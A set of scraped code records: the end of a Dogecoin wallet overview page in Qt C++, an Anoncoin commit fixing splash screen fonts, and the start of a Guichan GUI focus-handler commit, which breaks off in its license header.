ui->listTransactions->setMinimumHeight(NUM_ITEMS * (DECORATION_SIZE + 2));\n    ui->listTransactions->setAttribute(Qt::WA_MacShowFocusRect, false);\n\n    connect(ui->listTransactions, SIGNAL(clicked(QModelIndex)), this, SLOT(handleTransactionClicked(QModelIndex)));\n\n    \/\/ start with displaying the \"out of sync\" warnings\n    showOutOfSyncWarning(true);\n    connect(ui->labelWalletStatus, SIGNAL(clicked()), this, SLOT(handleOutOfSyncWarningClicks()));\n    connect(ui->labelTransactionsStatus, SIGNAL(clicked()), this, SLOT(handleOutOfSyncWarningClicks()));\n}\n\nvoid OverviewPage::UpdateTip()\n{\n    QStringList tips = {\n        tr(\"Never share your wallet.dat file\/your private key with anyone\"),\n        tr(\"For more advanced settings use the console in 'Help' -> 'Debug Window'\"),\n        tr(\"Encrypt your wallet with a strong passphrase for maximum security\"),\n        tr(\"Make sure to keep your wallet updated.\"),\n        tr(\"Backup your private key to recover your coins, using 'File' > 'Backup Wallet'\"),\n        tr(\"Always do your own research before using an external cryptocurrency service\"),\n        tr(\"Never share your private key to an untrustworthy person.\"),\n        tr(\"Who owns the private keys owns the coins.\"),\n        tr(\"To see ongoing development and contribute, checkout Dogecoin repository on GitHub!\"),\n        tr(\"Services that claim to double your dogecoins are always ponzi schemes\")\n    };\n\n    int i = rand() % tips.length();\n    ui->label_tip->setText(tips[i]);\n}\n\nvoid OverviewPage::handleTransactionClicked(const QModelIndex &index)\n{\n    if(filter)\n        Q_EMIT transactionClicked(filter->mapToSource(index));\n}\n\nvoid OverviewPage::handleOutOfSyncWarningClicks()\n{\n    Q_EMIT outOfSyncWarningClicked();\n}\n\nOverviewPage::~OverviewPage()\n{\n    delete ui;\n}\n\nvoid OverviewPage::setBalance(const CAmount& balance, const CAmount& unconfirmedBalance, const CAmount& immatureBalance, const CAmount& watchOnlyBalance, const CAmount& watchUnconfBalance, const CAmount& watchImmatureBalance)\n{\n    int unit = walletModel->getOptionsModel()->getDisplayUnit();\n    currentBalance = balance;\n    currentUnconfirmedBalance = unconfirmedBalance;\n    currentImmatureBalance = immatureBalance;\n    currentWatchOnlyBalance = watchOnlyBalance;\n    currentWatchUnconfBalance = watchUnconfBalance;\n    currentWatchImmatureBalance = watchImmatureBalance;\n    ui->labelBalance->setText(BitcoinUnits::formatWithUnit(unit, balance, false, BitcoinUnits::separatorAlways));\n    ui->labelUnconfirmed->setText(BitcoinUnits::formatWithUnit(unit, unconfirmedBalance, false, BitcoinUnits::separatorAlways));\n    ui->labelImmature->setText(BitcoinUnits::formatWithUnit(unit, immatureBalance, false, BitcoinUnits::separatorAlways));\n    ui->labelTotal->setText(BitcoinUnits::formatWithUnit(unit, balance + unconfirmedBalance + immatureBalance, false, BitcoinUnits::separatorAlways));\n    ui->labelWatchAvailable->setText(BitcoinUnits::formatWithUnit(unit, watchOnlyBalance, false, BitcoinUnits::separatorAlways));\n    ui->labelWatchPending->setText(BitcoinUnits::formatWithUnit(unit, watchUnconfBalance, false, BitcoinUnits::separatorAlways));\n    ui->labelWatchImmature->setText(BitcoinUnits::formatWithUnit(unit, watchImmatureBalance, false, BitcoinUnits::separatorAlways));\n    ui->labelWatchTotal->setText(BitcoinUnits::formatWithUnit(unit, watchOnlyBalance + watchUnconfBalance + watchImmatureBalance, false, BitcoinUnits::separatorAlways));\n\n    \/\/ only show immature (newly mined) balance if it's non-zero, so as not to complicate things\n    \/\/ for the non-mining users\n    bool showImmature = immatureBalance != 0;\n    bool showWatchOnlyImmature = watchImmatureBalance != 0;\n\n    \/\/ for symmetry reasons also show immature label when the watch-only one is shown\n    ui->labelImmature->setVisible(showImmature || showWatchOnlyImmature);\n    ui->labelImmatureText->setVisible(showImmature || showWatchOnlyImmature);\n    ui->labelWatchImmature->setVisible(showWatchOnlyImmature); \/\/ show watch-only immature balance\n}\n\n\/\/ show\/hide watch-only labels\nvoid OverviewPage::updateWatchOnlyLabels(bool showWatchOnly)\n{\n    ui->labelSpendable->setVisible(showWatchOnly);      \/\/ show spendable label (only when watch-only is active)\n    ui->labelWatchonly->setVisible(showWatchOnly);      \/\/ show watch-only label\n    ui->lineWatchBalance->setVisible(showWatchOnly);    \/\/ show watch-only balance separator line\n    ui->labelWatchAvailable->setVisible(showWatchOnly); \/\/ show watch-only available balance\n    ui->labelWatchPending->setVisible(showWatchOnly);   \/\/ show watch-only pending balance\n    ui->labelWatchTotal->setVisible(showWatchOnly);     \/\/ show watch-only total balance\n\n    if (!showWatchOnly)\n        ui->labelWatchImmature->hide();\n}\n\nvoid OverviewPage::setClientModel(ClientModel *model)\n{\n    this->clientModel = model;\n    if(model)\n    {\n        \/\/ Show warning if this is a prerelease version\n        connect(model, SIGNAL(alertsChanged(QString)), this, SLOT(updateAlerts(QString)));\n        updateAlerts(model->getStatusBarWarnings());\n    }\n}\n\nvoid OverviewPage::setWalletModel(WalletModel *model)\n{\n    this->walletModel = model;\n    if(model && model->getOptionsModel())\n    {\n        \/\/ Set up transaction list\n        filter.reset(new TransactionFilterProxy());\n        filter->setSourceModel(model->getTransactionTableModel());\n        filter->setLimit(NUM_ITEMS);\n        filter->setDynamicSortFilter(true);\n        filter->setSortRole(Qt::EditRole);\n        filter->setShowInactive(false);\n        filter->sort(TransactionTableModel::Date, Qt::DescendingOrder);\n\n        ui->listTransactions->setModel(filter.get());\n        ui->listTransactions->setModelColumn(TransactionTableModel::ToAddress);\n\n        \/\/ Keep up to date with wallet\n        setBalance(model->getBalance(), model->getUnconfirmedBalance(), model->getImmatureBalance(),\n                   model->getWatchBalance(), model->getWatchUnconfirmedBalance(), model->getWatchImmatureBalance());\n        connect(model, SIGNAL(balanceChanged(CAmount,CAmount,CAmount,CAmount,CAmount,CAmount)), this, SLOT(setBalance(CAmount,CAmount,CAmount,CAmount,CAmount,CAmount)));\n\n        connect(model->getOptionsModel(), SIGNAL(displayUnitChanged(int)), this, SLOT(updateDisplayUnit()));\n\n        updateWatchOnlyLabels(model->haveWatchOnly());\n        connect(model, SIGNAL(notifyWatchonlyChanged(bool)), this, SLOT(updateWatchOnlyLabels(bool)));\n    }\n\n    \/\/ update the display unit, to not use the default (\"BTC\")\n    updateDisplayUnit();\n}\n\nvoid OverviewPage::updateDisplayUnit()\n{\n    if(walletModel && walletModel->getOptionsModel())\n    {\n        if(currentBalance != -1)\n            setBalance(currentBalance, currentUnconfirmedBalance, currentImmatureBalance,\n                       currentWatchOnlyBalance, currentWatchUnconfBalance, currentWatchImmatureBalance);\n\n        \/\/ Update txdelegate->unit with the current unit\n        txdelegate->unit = walletModel->getOptionsModel()->getDisplayUnit();\n\n        ui->listTransactions->update();\n    }\n}\n\nvoid OverviewPage::updateAlerts(const QString &warnings)\n{\n    this->ui->labelAlerts->setVisible(!warnings.isEmpty());\n    this->ui->labelAlerts->setText(warnings);\n}\n\nvoid OverviewPage::showOutOfSyncWarning(bool fShow)\n{\n    ui->labelWalletStatus->setVisible(fShow);\n    ui->labelTransactionsStatus->setVisible(fShow);\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (c) 2011-2014 The Bitcoin developers\n\/\/ Copyright (c) 2013-2015 The Anoncoin Core developers\n\/\/ Distributed under the MIT\/X11 software license, see the accompanying\n\/\/ file COPYING or http:\/\/www.opensource.org\/licenses\/mit-license.php.\n\n\/\/ Many builder specific things set in the config file, ENABLE_WALLET is a good example.  Don't forget to include it this way in your source files.\n#if defined(HAVE_CONFIG_H)\n#include \"config\/anoncoin-config.h\"\n#endif\n\n#include \"splashscreen.h\"\n\n#include \"clientversion.h\"\n#include \"init.h\"\n#include \"ui_interface.h\"\n#include \"util.h\"\n#ifdef ENABLE_WALLET\n#include \"wallet.h\"\n#endif\n\n#include <QApplication>\n#include <QPainter>\n\nSplashScreen::SplashScreen(const QPixmap &pixmap, Qt::WindowFlags f, bool isTestNet) :\n    QSplashScreen(pixmap, f)\n{\n    setAutoFillBackground(true);\n\n    \/\/ set reference point, paddings\n    int paddingTop              = 236;\n    int paddingCopyrightTop     = 18;\n\n    float fontFactor            = 1.0;\n\n    \/\/ define text to place\n    QString versionText     = QString(\"VERSION %1\").arg(QString::fromStdString(FormatFullVersion()));\n    QString copyrightText1   = QChar(0xA9)+QString(\" 2013-%1 \").arg(COPYRIGHT_YEAR) + QString(tr(\"ANONCOIN CORE DEVELOPERS\"));\n    \/\/QString testnetAddText  = QString(tr(\"[testnet]\")); \/\/ This string is already included in the background image\n\n    QString font            = \"Courier New\";\n\n    \/\/ load the bitmap for writing some text over it\n    QPixmap newPixmap;\n    if(isTestNet) {\n        newPixmap     = QPixmap(\":\/images\/splash_testnet\");\n    }\n    else {\n        newPixmap     = QPixmap(\":\/images\/splash\");\n    }\n\n    QPainter pixPaint(&newPixmap);\n    pixPaint.setPen(QColor(250,250,250));\n    pixPaint.setFont(QFont(font, 12*fontFactor));\n    \n    QFontMetrics fm = pixPaint.fontMetrics();\n\n    \/\/ draw version\n    pixPaint.drawText(newPixmap.width()\/2-fm.width(versionText)\/2,paddingTop,versionText);\n\n    \/\/ draw copyright stuff\n    pixPaint.setFont(QFont(font, 12*fontFactor));\n    pixPaint.drawText(newPixmap.width()\/2-fm.width(copyrightText1)\/2,paddingTop+paddingCopyrightTop,copyrightText1);\n\n    \/\/ draw testnet string if testnet is on. This is no longer necessary as this is included in the background image\n    \/\/if(isTestNet) {\n    \/\/    QFont boldFont = QFont(font, 10*fontFactor);\n    \/\/    boldFont.setWeight(QFont::Bold);\n    \/\/    pixPaint.setFont(boldFont);\n    \/\/    fm = pixPaint.fontMetrics();\n    \/\/    int testnetAddTextWidth  = fm.width(testnetAddText);\n    \/\/    pixPaint.drawText(newPixmap.width()-testnetAddTextWidth-10,15,testnetAddText);\n    \/\/}\n\n    pixPaint.end();\n\n    this->setPixmap(newPixmap);\n\n    subscribeToCoreSignals();\n}\n\nSplashScreen::~SplashScreen()\n{\n    unsubscribeFromCoreSignals();\n}\n\nvoid SplashScreen::slotFinish(QWidget *mainWin)\n{\n    finish(mainWin);\n}\n\nstatic void InitMessage(SplashScreen *splash, const std::string &message)\n{\n\tQFont initfont;\n\tinitfont.setFamily(\"Courier New\");\n\tinitfont.setPixelSize(12);\n\tinitfont.setCapitalization(initfont.AllUppercase);\n\tsplash->setFont(initfont);\n\n\tstd::string message_cr;\n\tmessage_cr = message + \"\\n\";\n\t\n    QMetaObject::invokeMethod(splash, \"showMessage\",\n        Qt::QueuedConnection,\n        Q_ARG(QString, QString::fromStdString(message_cr)),\n        Q_ARG(int, Qt::AlignBottom|Qt::AlignHCenter),\n        Q_ARG(QColor, QColor(0,0,0)));\n}\n\nstatic void ShowProgress(SplashScreen *splash, const std::string &title, int nProgress)\n{\n    InitMessage(splash, title + strprintf(\"%d\", nProgress) + \"%\");\n}\n\n#ifdef ENABLE_WALLET\nstatic void ConnectWallet(SplashScreen *splash, CWallet* wallet)\n{\n    wallet->ShowProgress.connect(boost::bind(ShowProgress, splash, _1, _2));\n}\n#endif\n\nvoid SplashScreen::subscribeToCoreSignals()\n{\n    \/\/ Connect signals to client\n    uiInterface.InitMessage.connect(boost::bind(InitMessage, this, _1));\n#ifdef ENABLE_WALLET\n    uiInterface.LoadWallet.connect(boost::bind(ConnectWallet, this, _1));\n#endif\n}\n\nvoid SplashScreen::unsubscribeFromCoreSignals()\n{\n    \/\/ Disconnect signals from client\n    uiInterface.InitMessage.disconnect(boost::bind(InitMessage, this, _1));\n#ifdef ENABLE_WALLET\n    if(pwalletMain)\n        pwalletMain->ShowProgress.disconnect(boost::bind(ShowProgress, this, _1, _2));\n#endif\n}\n<commit_msg>Fix font size issues with splash screen<commit_after>\/\/ Copyright (c) 2011-2014 The Bitcoin developers\n\/\/ Copyright (c) 2013-2015 The Anoncoin Core developers\n\/\/ Distributed under the MIT\/X11 software license, see the accompanying\n\/\/ file COPYING or http:\/\/www.opensource.org\/licenses\/mit-license.php.\n\n\/\/ Many builder specific things set in the config file, ENABLE_WALLET is a good example.  Don't forget to include it this way in your source files.\n#if defined(HAVE_CONFIG_H)\n#include \"config\/anoncoin-config.h\"\n#endif\n\n#include \"splashscreen.h\"\n\n#include \"clientversion.h\"\n#include \"init.h\"\n#include \"ui_interface.h\"\n#include \"util.h\"\n#ifdef ENABLE_WALLET\n#include \"wallet.h\"\n#endif\n\n#include <QApplication>\n#include <QPainter>\n\nSplashScreen::SplashScreen(const QPixmap &pixmap, Qt::WindowFlags f, bool isTestNet) :\n    QSplashScreen(pixmap, f)\n{\n    setAutoFillBackground(true);\n\n    \/\/ set reference point, paddings\n    int paddingTop              = 236;\n    int paddingCopyrightTop     = 18;\n\n    \/\/ define text to place\n    QString versionText     = QString(\"VERSION %1\").arg(QString::fromStdString(FormatFullVersion()));\n    QString copyrightText1   = QChar(0xA9)+QString(\" 2013-%1 \").arg(COPYRIGHT_YEAR) + QString(tr(\"ANONCOIN CORE DEVELOPERS\"));\n    \/\/QString testnetAddText  = QString(tr(\"[testnet]\")); \/\/ This string is already included in the background image\n\n    \/\/ load the bitmap for writing some text over it\n    QPixmap newPixmap;\n    if(isTestNet) {\n        newPixmap     = QPixmap(\":\/images\/splash_testnet\");\n    }\n    else {\n        newPixmap     = QPixmap(\":\/images\/splash\");\n    }\n\t\n\tQFont initfont;\n\tinitfont.setFamily(\"Courier New,Courier,Monaco,Andale Mono,Arial\");\n\tinitfont.setPixelSize(12);\t\n\t    \n    QPainter pixPaint(&newPixmap);\n    pixPaint.setPen(QColor(250,250,250));\n    pixPaint.setFont(initfont);\n    \n    QFontMetrics fm = pixPaint.fontMetrics();\n\n    \/\/ draw version\n    pixPaint.drawText(newPixmap.width()\/2-fm.width(versionText)\/2,paddingTop,versionText);\n\n    \/\/ draw copyright stuff\n    pixPaint.setFont(initfont);\n    pixPaint.drawText(newPixmap.width()\/2-fm.width(copyrightText1)\/2,paddingTop+paddingCopyrightTop,copyrightText1);\n\n    \/\/ draw testnet string if testnet is on. This is no longer necessary as this is included in the background image\n    \/\/if(isTestNet) {\n    \/\/    QFont boldFont = QFont(font, 10);\n    \/\/    boldFont.setWeight(QFont::Bold);\n    \/\/    pixPaint.setFont(boldFont);\n    \/\/    fm = pixPaint.fontMetrics();\n    \/\/    int testnetAddTextWidth  = fm.width(testnetAddText);\n    \/\/    pixPaint.drawText(newPixmap.width()-testnetAddTextWidth-10,15,testnetAddText);\n    \/\/}\n\t\n    pixPaint.end();\n\n    this->setPixmap(newPixmap);\n\n    subscribeToCoreSignals();\n}\n\nSplashScreen::~SplashScreen()\n{\n    unsubscribeFromCoreSignals();\n}\n\nvoid SplashScreen::slotFinish(QWidget *mainWin)\n{\n    finish(mainWin);\n}\n\nstatic void InitMessage(SplashScreen *splash, const std::string &message)\n{\n\tQFont initfont;\n\tinitfont.setFamily(\"Courier New,Courier,Monaco,Andale Mono,Arial\");\n\tinitfont.setPixelSize(12);\n\tinitfont.setCapitalization(initfont.AllUppercase);\n\tsplash->setFont(initfont);\n\n\tstd::string message_cr;\n\tmessage_cr = message + \"\\n\";\n\t\n    QMetaObject::invokeMethod(splash, \"showMessage\",\n        Qt::QueuedConnection,\n        Q_ARG(QString, QString::fromStdString(message_cr)),\n        Q_ARG(int, Qt::AlignBottom|Qt::AlignHCenter),\n        Q_ARG(QColor, QColor(0,0,0)));\n}\n\nstatic void ShowProgress(SplashScreen *splash, const std::string &title, int nProgress)\n{\n    InitMessage(splash, title + strprintf(\"%d\", nProgress) + \"%\");\n}\n\n#ifdef ENABLE_WALLET\nstatic void ConnectWallet(SplashScreen *splash, CWallet* wallet)\n{\n    wallet->ShowProgress.connect(boost::bind(ShowProgress, splash, _1, _2));\n}\n#endif\n\nvoid SplashScreen::subscribeToCoreSignals()\n{\n    \/\/ Connect signals to client\n    uiInterface.InitMessage.connect(boost::bind(InitMessage, this, _1));\n#ifdef ENABLE_WALLET\n    uiInterface.LoadWallet.connect(boost::bind(ConnectWallet, this, _1));\n#endif\n}\n\nvoid SplashScreen::unsubscribeFromCoreSignals()\n{\n    \/\/ Disconnect signals from client\n    uiInterface.InitMessage.disconnect(boost::bind(InitMessage, this, _1));\n#ifdef ENABLE_WALLET\n    if(pwalletMain)\n        pwalletMain->ShowProgress.disconnect(boost::bind(ShowProgress, this, _1, _2));\n#endif\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*      _______   __   __   __   ______   __   __   _______   __   __\n *     \/ _____\/\\ \/ \/\\ \/ \/\\ \/ \/\\ \/ ____\/\\ \/ \/\\ \/ \/\\ \/ ___  \/\\ \/  |\\\/ \/\\\n *    \/ \/\\____\\\/\/ \/ \/\/ \/ \/\/ \/ \/\/ \/\\___\\\/\/ \/_\/\/ \/ \/\/ \/\\_\/ \/ \/\/ , |\/ \/ \/\n *   \/ \/ \/__   \/ \/ \/\/ \/ \/\/ \/ \/\/ \/ \/    \/ ___  \/ \/\/ ___  \/ \/\/ \/| ' \/ \/\n *  \/ \/_\/\/ \/\\ \/ \/_\/\/ \/ \/\/ \/ \/\/ \/_\/_   \/ \/ \/\/ \/ \/\/ \/\\_\/ \/ \/\/ \/ |  \/ \/\n * \/______\/ \/\/______\/ \/\/_\/ \/\/_____\/\\ \/_\/ \/\/_\/ \/\/_\/ \/\/_\/ \/\/_\/ \/|_\/ \/\n * \\______\\\/ \\______\\\/ \\_\\\/ \\_____\\\/ \\_\\\/ \\_\\\/ \\_\\\/ \\_\\\/ \\_\\\/ \\_\\\/\n *\n * Copyright (c) 2004, 2005, 2006, 2007 Olof Naessn and Per Larsson\n *\n *                                                         Js_.\/\n * Per Larsson a.k.a finalman                          _RqZ{a<^_aa\n * Olof Naessn a.k.a jansem\/yakslem                _asww7!uY`>  )\\a\/\/\n *                                                 _Qhm`] _f \"'c  1!5m\n * Visit: http:\/\/guichan.darkbits.org             )Qk<P ` _: :+' .'  \"{[\n *                                               .)j(] .d_\/ '-(  P .   S\n * License: (BSD)                                <Td\/Z <fP\"5(\\\"??\"\\a.  .L\n * Redistribution and use in source and          _dV>ws?a-?'      ._\/L  #'\n * binary forms, with or without                 )4d[#7r, .   '     )d`)[\n * modification, are permitted provided         _Q-5'5W..j\/?'   -?!\\)cam'\n * that the following conditions are met:       j<<WP+k\/);.        _W=j f\n * 1. Redistributions of source code must       .$%w\\\/]Q  . .\"'  .  mj$\n *    retain the above copyright notice,        ]E.pYY(Q]>.   a     J@\\\n *    this list of conditions and the           j(]1u<sE\"L,. .   .\/^ ]{a\n *    following disclaimer.                     4'_uomm\\.  )L);-4     (3=\n * 2. Redistributions in binary form must        )_]X{Z('a_\"a7'<a\"a,  ]\"[\n *    reproduce the above copyright notice,       #}<]m7`Za??4,P-\"'7. ).m\n *    this list of conditions and the            ]d2e)Q(<Q(  ?94   b-  LQ\/\n *    following disclaimer in the                <B!<\/]C)d_, '(<' .f. =C+m\n *    documentation and\/or other materials      .Z!=J ]e []('-4f _ ) -.)m]'\n *    provided with the distribution.          .w[5]' _[ \/.)_-\"+?   _\/ <W\"\n * 3. Neither the name of Guichan nor the      :$we` _! + _\/ .        j?\n *    names of its contributors may be used     =3)= _f  (_yQmWW$#(    \"\n *    to endorse or promote products derived     -   W,  sQQQQmZQ#Wwa]..\n *    from this software without specific        (js, \\[QQW$QWW#?!V\"\".\n *    prior written permission.                    ]y:.<\\..          .\n *                                                 -]n w\/ '         [.\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT       )\/ )\/           !\n * HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY         <  (; sac    ,    '\n * EXPRESS OR IMPLIED WARRANTIES, INCLUDING,               ]^ .-  %\n * BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF            c <   r\n * MERCHANTABILITY AND FITNESS FOR A PARTICULAR            aga<  <La\n * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE          5%  )P'-3L\n * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR        _bQf` y`..)a\n * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,          ,J?4P'.P\"_(\\?d'.,\n * EXEMPLARY, OR CONSEQUENTIAL DAMAGES               _Pa,)!f\/<[]\/  ?\"\n * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT      _2-..:. .r+_,.. .\n * OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,     ?a.<%\"'  \" -'.a_ _,\n * DATA, OR PROFITS; OR BUSINESS INTERRUPTION)                     ^\n * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,\n * WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN\n * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN\n * IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n\/*\n * For comments regarding functions please see the header file.\n *\/\n\n#include \"guichan\/focushandler.hpp\"\n\n#include \"guichan\/exception.hpp\"\n#include \"guichan\/widget.hpp\"\n\nnamespace gcn\n{\n    FocusHandler::FocusHandler()\n    {\n        mFocusedWidget = NULL;\n        mToBeFocused = NULL;\n        mModalFocusedWidget = NULL;\n        mModalMouseInputFocusedWidget = NULL;\n    }\n\n    void FocusHandler::requestFocus(Widget* widget)\n    {\n        mToBeFocused = widget;\n    }\n\n    void FocusHandler::requestModalFocus(Widget* widget)\n    {\n        if (mModalFocusedWidget != NULL && mModalFocusedWidget != widget)\n        {\n            throw GCN_EXCEPTION(\"Another widget allready has modal focus.\");\n        }\n\n        mModalFocusedWidget = widget;\n\n        if (mFocusedWidget != NULL && !mFocusedWidget->hasModalFocus())\n        {\n            focusNone();\n        }\n    }\n\n    void FocusHandler::requestModalMouseInputFocus(Widget* widget)\n    {\n        if (mModalMouseInputFocusedWidget != NULL\n            && mModalMouseInputFocusedWidget != widget)\n        {\n            throw GCN_EXCEPTION(\"Another widget allready has modal input focus.\");\n        }\n\n        mModalMouseInputFocusedWidget = widget;\n    }\n\n    void FocusHandler::releaseModalFocus(Widget* widget)\n    {\n        if (mModalFocusedWidget == widget)\n        {\n            mModalFocusedWidget = NULL;\n        }\n    }\n\n    void FocusHandler::releaseModalMouseInputFocus(Widget* widget)\n    {\n        if (mModalMouseInputFocusedWidget == widget)\n        {\n            mModalMouseInputFocusedWidget = NULL;\n        }\n    }\n\n    Widget* FocusHandler::getFocused() const\n    {\n        return mFocusedWidget;\n    }\n\n    Widget* FocusHandler::getModalFocused() const\n    {\n        return mModalFocusedWidget;\n    }\n\n    Widget* FocusHandler::getModalMouseInputFocused() const\n    {\n        return mModalMouseInputFocusedWidget;\n    }\n\n    void FocusHandler::focusNext()\n    {\n        int i;\n        int focusedWidget = -1;\n        for (i = 0; i < (int)mWidgets.size(); ++i)\n        {\n            if (mWidgets[i] == mFocusedWidget)\n            {\n                focusedWidget = i;\n            }\n        }\n        int focused = focusedWidget;\n\n        \/\/ i is a counter that ensures that the following loop\n        \/\/ won't get stuck in an infinite loop\n        i = (int)mWidgets.size();\n        do\n        {\n            ++focusedWidget;\n\n            if (i==0)\n            {\n                focusedWidget = -1;\n                break;\n            }\n\n            --i;\n\n            if (focusedWidget >= (int)mWidgets.size())\n            {\n                focusedWidget = 0;\n            }\n\n            if (focusedWidget == focused)\n            {\n                return;\n            }\n        }\n        while (!mWidgets.at(focusedWidget)->isFocusable());\n\n        if (focusedWidget >= 0)\n        {\n            mFocusedWidget = mWidgets.at(focusedWidget);\n            mWidgets.at(focusedWidget)->focusGained();\n        }\n\n        if (focused >= 0)\n        {\n            mWidgets.at(focused)->focusLost();\n        }\n    }\n\n    void FocusHandler::focusPrevious()\n    {\n        if (mWidgets.size() == 0)\n        {\n            mFocusedWidget = NULL;\n            return;\n        }\n\n        int i;\n        int focusedWidget = -1;\n        for (i = 0; i < (int)mWidgets.size(); ++i)\n        {\n            if (mWidgets[i] == mFocusedWidget)\n            {\n                focusedWidget = i;\n            }\n        }\n        int focused = focusedWidget;\n\n        \/\/ i is a counter that ensures that the following loop\n        \/\/ won't get stuck in an infinite loop\n        i = (int)mWidgets.size();\n        do\n        {\n            --focusedWidget;\n\n            if (i==0)\n            {\n                focusedWidget = -1;\n                break;\n            }\n\n            --i;\n\n            if (focusedWidget <= 0)\n            {\n                focusedWidget = mWidgets.size() - 1;\n            }\n\n            if (focusedWidget == focused)\n            {\n                return;\n            }\n        }\n        while (!mWidgets.at(focusedWidget)->isFocusable());\n\n        if (focusedWidget >= 0)\n        {\n            mFocusedWidget = mWidgets.at(focusedWidget);\n            mWidgets.at(focusedWidget)->focusGained();\n        }\n\n        if (focused >= 0)\n        {\n            mWidgets.at(focused)->focusLost();\n        }\n    }\n\n    bool FocusHandler::isFocused(const Widget* widget) const\n    {\n        return mFocusedWidget == widget;\n    }\n\n    void FocusHandler::add(Widget* widget)\n    {\n        mWidgets.push_back(widget);\n    }\n\n    void FocusHandler::remove(Widget* widget)\n    {\n        if (widget == mToBeFocused)\n        {\n            mToBeFocused = NULL;\n        }\n\n        if (isFocused(widget))\n        {\n            mFocusedWidget = NULL;\n            mToBeFocused = NULL;\n        }\n\n        WidgetIterator iter;\n\n        for (iter = mWidgets.begin(); iter != mWidgets.end(); ++iter)\n        {\n            if ((*iter) == widget)\n            {\n                mWidgets.erase(iter);\n                return;\n            }\n        }\n    }\n\n    void FocusHandler::focusNone()\n    {\n\n        if (mFocusedWidget != NULL)\n        {\n            Widget* focused = mFocusedWidget;\n            mFocusedWidget = NULL;\n            focused->focusLost();\n        }\n\n        mToBeFocused = NULL;\n    }\n\n    void FocusHandler::tabNext()\n    {\n        if (mFocusedWidget != NULL)\n        {\n            if (!mFocusedWidget->isTabOutEnabled())\n            {\n                return;\n            }\n        }\n\n        if (mWidgets.size() == 0)\n        {\n            mFocusedWidget = NULL;\n            return;\n        }\n\n        int i;\n        int focusedWidget = -1;\n        for (i = 0; i < (int)mWidgets.size(); ++i)\n        {\n            if (mWidgets[i] == mFocusedWidget)\n            {\n                focusedWidget = i;\n            }\n        }\n        int focused = focusedWidget;\n        bool done = false;\n\n        \/\/ i is a counter that ensures that the following loop\n        \/\/ won't get stuck in an infinite loop\n        i = (int)mWidgets.size();\n        do\n        {\n            ++focusedWidget;\n\n            if (i==0)\n            {\n                focusedWidget = -1;\n                break;\n            }\n\n            --i;\n\n            if (focusedWidget >= (int)mWidgets.size())\n            {\n                focusedWidget = 0;\n            }\n\n            if (focusedWidget == focused)\n            {\n                return;\n            }\n\n            if (mWidgets.at(focusedWidget)->isFocusable() &&\n                mWidgets.at(focusedWidget)->isTabInEnabled() &&\n                (mModalFocusedWidget == NULL ||\n                 mWidgets.at(focusedWidget)->hasModalFocus()))\n            {\n                done = true;\n            }\n        }\n        while (!done);\n\n        if (focusedWidget >= 0)\n        {\n            mFocusedWidget = mWidgets.at(focusedWidget);\n            mWidgets.at(focusedWidget)->focusGained();\n        }\n\n        if (focused >= 0)\n        {\n            mWidgets.at(focused)->focusLost();\n        }\n    }\n\n    void FocusHandler::tabPrevious()\n    {\n        if (mFocusedWidget != NULL)\n        {\n            if (!mFocusedWidget->isTabOutEnabled())\n            {\n                return;\n            }\n        }\n\n        if (mWidgets.size() == 0)\n        {\n            mFocusedWidget = NULL;\n            return;\n        }\n\n        int i;\n        int focusedWidget = -1;\n        for (i = 0; i < (int)mWidgets.size(); ++i)\n        {\n            if (mWidgets[i] == mFocusedWidget)\n            {\n                focusedWidget = i;\n            }\n        }\n        int focused = focusedWidget;\n        bool done = false;\n\n        \/\/ i is a counter that ensures that the following loop\n        \/\/ won't get stuck in an infinite loop\n        i = (int)mWidgets.size();\n        do\n        {\n            --focusedWidget;\n\n            if (i==0)\n            {\n                focusedWidget = -1;\n                break;\n            }\n\n            --i;\n\n            if (focusedWidget <= 0)\n            {\n                focusedWidget = mWidgets.size() - 1;\n            }\n\n            if (focusedWidget == focused)\n            {\n                return;\n            }\n\n            if (mWidgets.at(focusedWidget)->isFocusable() &&\n                mWidgets.at(focusedWidget)->isTabInEnabled() &&\n                (mModalFocusedWidget == NULL ||\n                 mWidgets.at(focusedWidget)->hasModalFocus()))\n            {\n                done = true;\n            }\n        }\n        while (!done);\n\n        if (focusedWidget >= 0)\n        {\n            mFocusedWidget = mWidgets.at(focusedWidget);\n            mWidgets.at(focusedWidget)->focusGained();\n        }\n\n        if (focused >= 0)\n        {\n            mWidgets.at(focused)->focusLost();\n        }\n    }\n\n    void FocusHandler::applyChanges()\n    {\n        if (mToBeFocused == mFocusedWidget)\n        {\n            return;\n        }\n\n        if (mToBeFocused != NULL)\n        {\n            unsigned int i = 0;\n            int toBeFocusedIndex = -1;\n            for (i = 0; i < mWidgets.size(); ++i)\n            {\n                if (mWidgets[i] == mToBeFocused)\n                {\n                    toBeFocusedIndex = i;\n                    break;\n                }\n            }\n\n            if (toBeFocusedIndex < 0)\n            {\n                throw GCN_EXCEPTION(\"Trying to focus a none existing widget.\");\n            }\n\n            Widget *oldFocused = mFocusedWidget;\n\n            if (oldFocused != mToBeFocused)\n            {\n                mFocusedWidget = mWidgets.at(toBeFocusedIndex);\n\n                if (oldFocused != NULL)\n                {\n                    oldFocused->focusLost();\n                }\n\n                mWidgets.at(toBeFocusedIndex)->focusGained();\n            }\n\n            mToBeFocused = NULL;\n        }\n    }\n}\n<commit_msg>distributeFocusGainedEvent and distributeFocusLostEvent have been added. Focus lost events and focus gained events are now distributed to the source widget's focus listeners.<commit_after>\/*      _______   __   __   __   ______   __   __   _______   __   __\n *     \/ _____\/\\ \/ \/\\ \/ \/\\ \/ \/\\ \/ ____\/\\ \/ \/\\ \/ \/\\ \/ ___  \/\\ \/  |\\\/ \/\\\n *    \/ \/\\____\\\/\/ \/ \/\/ \/ \/\/ \/ \/\/ \/\\___\\\/\/ \/_\/\/ 